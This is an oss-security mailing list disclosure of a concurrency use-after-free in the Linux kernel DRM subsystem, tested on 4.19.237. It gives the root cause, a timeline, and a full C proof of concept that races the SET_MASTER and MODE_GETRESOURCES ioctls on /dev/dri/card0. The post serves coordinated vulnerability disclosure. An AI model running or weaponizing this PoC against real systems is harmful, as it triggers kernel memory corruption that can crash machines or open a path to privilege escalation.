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Date: Tue, 12 Apr 2022 19:42:04 +0800
From: Minh Yuan <yuanmingbuaa@...il.com>
To: oss-security@...ts.openwall.com
Subject: Linux kernel: A concurrency use-after-free between drm_setmaster_ioctl and drm_mode_getresources
Hi guys,
We recently discovered a concurrency uaf in drm of the latest kernel
version (Linux 4.19.237).
The root cause of this race is that drm_setmaster_ioctl can free an old
*fpriv->master* in drm_new_set_master, while drm_mode_getresources holds a
freed *fpriv->master *in drm_lease_held due to the absence of proper
lock/refcounting.
My unstable PoC is shown below (tested on Linux 4.19.237):
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/xattr.h>
#include <sys/shm.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <drm/drm.h>
#include <drm/drm_mode.h>
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)
int fd;
char a[0x100];
void *thread1(void *arg)
{
ioctl(fd, DRM_IOCTL_SET_MASTER, 0);
}
void *thread2(void *arg)
{
ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &a);
}
int main(void)
{
pthread_t thr1,thr2;
int fd1 = open("/dev/dri/card0",0);
fd = open("/dev/dri/card0",0);
int fd2 = dup3(fd,fd1,0);
int s = pthread_create(&thr1,NULL,thread1,(void*)NULL);
if(s != 0)
errExit("pthread_create");
s = pthread_create(&thr2,NULL,thread2,(void*)NULL);
if(s != 0)
errExit("pthread_create");
pthread_join(thr1,NULL);
pthread_join(thr2,NULL);
close(fd);
}
Timeline:
* 03.30.22 - Vulnerability reported to security@...nel.org.
* 04.01.22 - Vulnerability reported to linux-distros@...openwall.org
<security@...nel.org>.
* 04.12.22 - Vulnerability opened.
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